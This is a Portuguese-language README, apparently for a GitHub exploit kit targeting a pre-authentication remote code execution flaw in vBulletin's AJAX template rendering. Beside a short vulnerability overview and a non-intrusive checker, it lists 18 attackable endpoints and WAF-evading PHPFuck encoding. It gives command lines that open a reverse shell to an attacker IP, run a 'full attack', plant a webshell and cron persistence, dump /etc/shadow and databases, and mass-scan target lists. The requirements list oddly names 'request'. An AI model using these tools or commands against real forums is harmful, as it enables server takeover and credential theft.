CVE-2026-61511 – Exploit e Verificador de RCE Pré-Auth no vBulletin

APENAS USO ÉTICO – TESTES DE SEGURANÇA AUTORIZADOS
Este repositório fornece ferramentas apenas para profissionais de segurança autorizados, blue teams e testadores de penetração.
O acesso não autorizado a sistemas de computador é ilegal sob o CFAA (EUA), Computer Misuse Act (Reino Unido), TCK 243/244 (Turquia) e leis similares em todo o mundo.

---

Visão Geral da Vulnerabilidade

CVE‑2026‑61511 é uma falha de injeção de eval() em PHP no mecanismo de renderização de templates AJAX do vBulletin.
Versões afetadas: 5.0.0 – 5.7.5 e 6.0.0 – 6.2.1.

Como funciona

1. Múltiplos endpoints de ataque – o bug existe em vários handlers AJAX:

   • /ajax/render/pagenav
   • /ajax/api/ad/replaceAdTemplate
   • /ajax/render/widget_php
   • /ajax/render/widget_tabbedcontainer_tab_panel
   • Vários endpoints /ajax/api/content_* /getIndexableContent

2. Codificação PHPFuck – o payload é transformado em uma sequência de operadores e números PHP que contorna filtros WAF e permite execução arbitrária de código PHP.

3. Nenhuma autenticação necessária – um atacante pode enviar uma requisição POST elaborada para qualquer endpoint vulnerável e executar comandos de sistema com os privilégios do servidor web.

4. Impacto – comprometimento total do servidor, roubo de dados, backdoors, movimento lateral e persistência. Atualize a versão!

Correção

• vBulletin 6.2.2 e Patch Level 1 para versões mais antigas corrigem este problema.
• Sempre atualize para a versão mais recente.

---

Ferramentas

Ferramenta	Propósito	Usuário Pretendido
exploit.py	Kit de ferramentas completo com reverse shell, persistência, operações de arquivo, dump de banco de dados, gerenciamento de firewall, gerenciamento de logs, encaminhamento de portas, implantação de chave SSH, varredura de rede e varredura em massa (multi-thread).	Red teams / pentesters autorizados
safecheck.py	Verificador não intrusivo que checa a vulnerabilidade sem executar nenhum payload malicioso. Detecta versão, testa todos os endpoints e gera um relatório detalhado.	Blue teams / auditores de segurança

---

Comparação de Recursos

Recurso	exploit.py	safecheck.py
Detecção de vulnerabilidade	[+]	[+]
Detecção de versão	[+]	[+]
Teste multi-endpoint (18 caminhos)	[+]	[+]
Execução de comandos	[+]	[-]
Reverse shell	[+]	[-]
Upload/download de arquivos	[+]	[-]
Mecanismos de persistência	[+]	[-]
Implantação de web shell	[+]	[-]
Operações de banco de dados	[+]	[-]
Coleta de informações do sistema	[+]	[+]
Gerenciamento de firewall	[+]	[-]
Gerenciamento de logs	[+]	[-]
Encaminhamento de portas	[+]	[-]
Implantação de chave SSH	[+]	[-]
Varredura de rede	[+]	[-]
Varredura em massa (multi-thread)	[+]	[-]
Suporte a proxy	[+]	[+]
Saída de relatório JSON	[+]	[+]
Menu interativo	[+]	[-]
Modo não intrusivo (seguro)	[-]	[+]
Modo Verbose/Debug	[+]	[+]
Execução de comando personalizado	[+]	[-]
Encadeamento de múltiplos comandos	[+]	[-]
Leitura remota de arquivos	[+]	[-]
Escrita remota de arquivos	[+]	[-]
Gerenciamento de usuários do sistema	[+]	[-]
Técnicas de bypass de firewall	[+]	[-]
Evasão de WAF (PHPFuck)	[+]	[+]

---

Resumo de Casos de Uso

Cenário	Ferramenta Recomendada
Blue Team – verificar se sua instalação do vBulletin é vulnerável	safecheck.py
Auditoria de Segurança – avaliação de vulnerabilidade não intrusiva	safecheck.py
Red Team – teste de penetração autorizado com exploração completa	exploit.py
Bug Bounty – teste de divulgação responsável	safecheck.py
Varredura em Massa – verificar múltiplos alvos quanto à vulnerabilidade	exploit.py (apenas detecção)
Resposta a Incidentes – verificar se os sistemas foram comprometidos	safecheck.py

---

Instalação

git clone https://github.com/tc4dy/CVE-2026-61511-PoC-Exploit
cd CVE-2026-61511-PoC-Exploit
pip install -r requirements.txt

Conteúdo do requirements.txt:

request
urllib3

Parâmetros

Parâmetro	Descrição
-t, --target	URL do alvo (ex.: http://forum.com/vb)
--proxy	Proxy HTTP (ex.: http://127.0.0.1:8080)
--timeout	Timeout da requisição em segundos (padrão: 10)
--retry	Número de tentativas por caminho (padrão: 3)
--output	Salvar relatório detalhado em arquivo JSON
-v, --verbose	Saída detalhada
-q, --quiet	Modo silencioso (saída mínima)
--lhost	Obrigatório para exploit – IP para callback
--lport	Porta para callback (padrão: 4444)
--threads	Threads para varredura em massa (padrão: 5)
--exploit	Realizar exploração após a detecção
--full	Ataque completo (todos os módulos)
--shell	Iniciar reverse shell
--webshell	Instalar webshell (/shell.php)
--persist	Instalar persistência (cron job)
--dump	Dump do banco de dados
--dump-creds	Dump de credenciais (/etc/passwd, /etc/shadow)
--interactive	Menu interativo após verificação bem-sucedida

Cenários

#	Cenário	Comando
1	Verificação rápida de vulnerabilidade	python safecheck.py -t http://target.com/vb
2	Varredura detalhada com relatório	python safecheck.py -t http://target.com/vb --output report.json -v
3	Reverse shell	python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --lport 4444 --shell
4	Ataque completo (todos os módulos)	python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --full
5	Varredura em massa a partir de arquivo	python exploit.py -l targets.txt --lhost 192.168.1.100 --threads 20 --output results.json
6	Modo de menu interativo	python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --interactive

Pool de Endpoints

#	Endpoint
1	/ajax/render/pagenav
2	/ajax/render/pagenav?template=page
3	/ajax/api/ad/replaceAdTemplate
4	/ajax/render/widget_php
5	/ajax/render/widget_tabbedcontainer_tab_panel
6	/ajax/api/content_infraction/getIndexableContent
7	/ajax/api/content_video/getIndexableContent
8	/ajax/api/content_text/getIndexableContent
9	/ajax/api/content_report/getIndexableContent
10	/ajax/api/content_redirect/getIndexableContent
11	/ajax/api/content_privatemessage/getIndexableContent
12	/ajax/api/content_poll/getIndexableContent
13	/ajax/api/content_photo/getIndexableContent
14	/ajax/api/content_link/getIndexableContent
15	/ajax/api/content_gallery/getIndexableContent
16	/ajax/api/content_event/getIndexableContent
17	/ajax/api/content_channel/getIndexableContent
18	/ajax/api/content_attach/getIndexableContent

Uso Responsável